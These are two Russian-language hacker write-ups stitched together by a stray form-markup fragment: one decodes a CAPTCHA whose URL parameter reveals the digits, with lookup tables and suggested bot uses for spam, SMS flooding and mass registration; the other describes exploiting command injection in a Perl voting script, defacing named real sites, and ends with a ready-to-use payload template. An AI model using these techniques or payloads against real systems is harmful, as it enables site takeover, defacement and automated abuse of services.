Нам нужно разложить три алгоритма чтобы точно утверждать, что зная код мы можем узнать цифры на картинке. Начнём с алгоритма А. Методом перебора можно выделить определённый алгоритм. Меняем первый параметр.
«?captcha_code=1»
«?captcha_code=2»
И так далее. Теперь попробуем сделать обратное. Поставим в качестве параметра, например, “w”
«?captcha_code=w»
А теперь t.
Ага. Видна обратная связь. Теперь делаем похожие действия, чтобы установить полную зависимость. Мы приведём окончательную расшифровку для первого параметра. А вы попробуйте проделать это самостоятельно. Итак. Нам понадобится это:
…
Вот, что мы получили для первого параметра.
Таблица для 1-ой и 4-ой цифры
цифра ASCII расшифровка ASCII
0 48 v 118
1 49 w 119
2 50 t 116
3 51 u 117
4 52 r 114
5 53 s 115
6 54 p 112
7 55 q 113
8 56 7E 126
9 57 7F 127
В первой графе таблицы находится цифра, отображаемая на картинке, следующая графа – её ASCII код, потом идёт код, который отображается в свойствах картинки и его ASCII код. Заметим, что если в качестве кода идёт «%..» это значит, что речь идёт о 16-ричном формате ASCII кода. Т.е. если, например, передаётся пробел, то в командной строке будет отображаться %7F. Поясняем: функция captcha генерирует 5-ти символьный код, символов из ASCII, причём эти символы не обязательно читабельные.
Теперь перейдем ко второму параметру. Рассмотрим несколько случайных кодов.
captcha_code=%7F%DC5t%85
captcha_code=r%D27q%8A
Если так проделать ещё какое-то число раз, то можно узреть, что ASCII диапазон второго параметра всегда выпадает из печатного диапазона. Т.е. на втором месте мы всегда видим только 16-ый вид ASCII кода. Потратив какое-то время расшифровали и второй знак. Приводим таблицу.
Таблица для 2-ой цифры
цифра ASCII расшифровка ASCII
0 48 D4 212
1 49 D5 213
2 50 D6 214
3 51 D7 215
4 52 D0 208
5 53 D1 209
6 54 D2 210
7 55 D3 211
8 56 DC 220
9 57 DD 221
Третий параметр, как мы писали выше, полностью соответствует знаку на картинке. А таблица для четвёртого алгоритма соответствует таблице для первого. Таблица для пятого параметра получается по аналогии.
Таблицадля 5-ой цифры
цифра ASCII расшифровка ASCII
0 48 8С 140
1 49 8D 141
2 50 8E 142
3 51 8F 143
4 52 88 136
5 53 89 137
6 54 8A 138
7 55 8B 139
8 56 84 132
9 57 85 133
Если внимательно присмотреться к ASCII кодам, то можно заметить определённый алгоритм. Итак, мы доказали, что зная код можно узнать цифры. Показываем окончательное действие.
Итак, специально не отображаем, картинку.
Смотрим свойства:
1-й и 4-й символ: смотрим в 1-ю таблицу.
7F – 9
7E – 8
2-й символ смотрим по 2-й таблице:
D6 – 2
3-й символ берём без изменений
7 – 7
5-й по третей таблице
8A – 6
Т.е. по нашей теории получается число 92786:
Мы только что доказали, что зная параметры функции CAPTCHA мы знаем цифры, которые нужно ввести. Т.е. функция CAPTCHA, рассмотренная в данном примере, не удовлетворяет теории Тьюринга (принцип работы инструмента состоит в генерации изображения, содержащего фразу, не упоминаемую ни где на странице в формате, читабельном для компьютера). Т.е. машина может узнать цифры на рисунке.
Применение
Эта особенность может быть использована при создании ботов:
для отсылки смс
спама
регистрации пользователей
и так далее.
Мы считаем, что данная проблема достаточно актуальна. За несколько часов любой толковый злоумышленник может понять алгоритм работы, написать бота и зарегистрировать на сайте за ночь 1000000 пользователей, отправить столько же смс на один номер, заспамить форумы, гостевые книги и доски объявлений. И причинить ещё много различных бед.
конецформыначалоформыВ новогоднюю ночь нарыл я интересный скрипт для голосования, под названием
vote.pl. Заглянул в исходники. На первый взгляд маленький безобидный скрипт,но
это только на первый взгляд
)) Меня заинтересовали строки:
@pairs = split(/&/, $bufer);
foreach $pair (@pairs)
{
($name, $value) = split(/=/, $pair);
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack(”C”, hex($1))/eg;
$VOTE{$name} = $value;
}
$filecnt=”$VOTE{id}.cnt”;
$filedata=”$VOTE{id}.dat”;
$filelog=”$VOTE{id}.log”;
$action=”$VOTE{action}”;
$oldlog=”$VOTE{id}.old”;
Никакой проверки на метасимволы. Далее, как и следовало ожидать, при $action eq
.show. открывались эти файлы ну и т.д. Таким образом, подставив в id
определённую строку, можно выполнять команды на сервере и любоваться на вывод
)))) Например, если подставить в id строку .| ls ;. можно просмотреть список
файлов в дире. С помощью этого бага можно без проблем дефейснуть сайт.
Далее:
if ($ENV{’REQUEST_METHOD’} eq “POST”)
{
read(STDIN, $bufer, $ENV{’CONTENT_LENGTH’});
}
else
{
$bufer=$ENV{’QUERY_STRING’};
}
Этот скрипт может принимать запросы GET и POST, что позволяет юзать эту дыру
прямо вводя команды в Query_string как Unicode bug, что меня очень радует ))))
В поисках жертвы затруднений не было, достаточно было в Яндексе ввести “Script
from Bullet” и тут же вываливался список потенциально уязвимых сайтов. Но каково
же было удивление, когда мы обнаружили этот скрипт на сайте сейчас уже
закрывшегося журнала “ПРОГРАММИСТ”. В голову стукнула мысль, что админ такого
журнала не дурак и не мог поставить на свой сайт этот скрипт, но всё оказалась
замечательно (для нас).
http://programme.ru/cg-bin/vote/vote.pl?action=show&id=| echo HACKED>index.html ;
“ПРОГРАММИСТ” висел хакнутым больше месяца, видимо уже тогда там всем все было
пофигу.
Сейчас в сети появился обновлённый скрипт в котором этой баги уже нету.
P.S. Через эту же багу был взломан http://mp3players.ru.
Use: PATH_TO_SCR/vote.pl?action=show&id=| CMD ;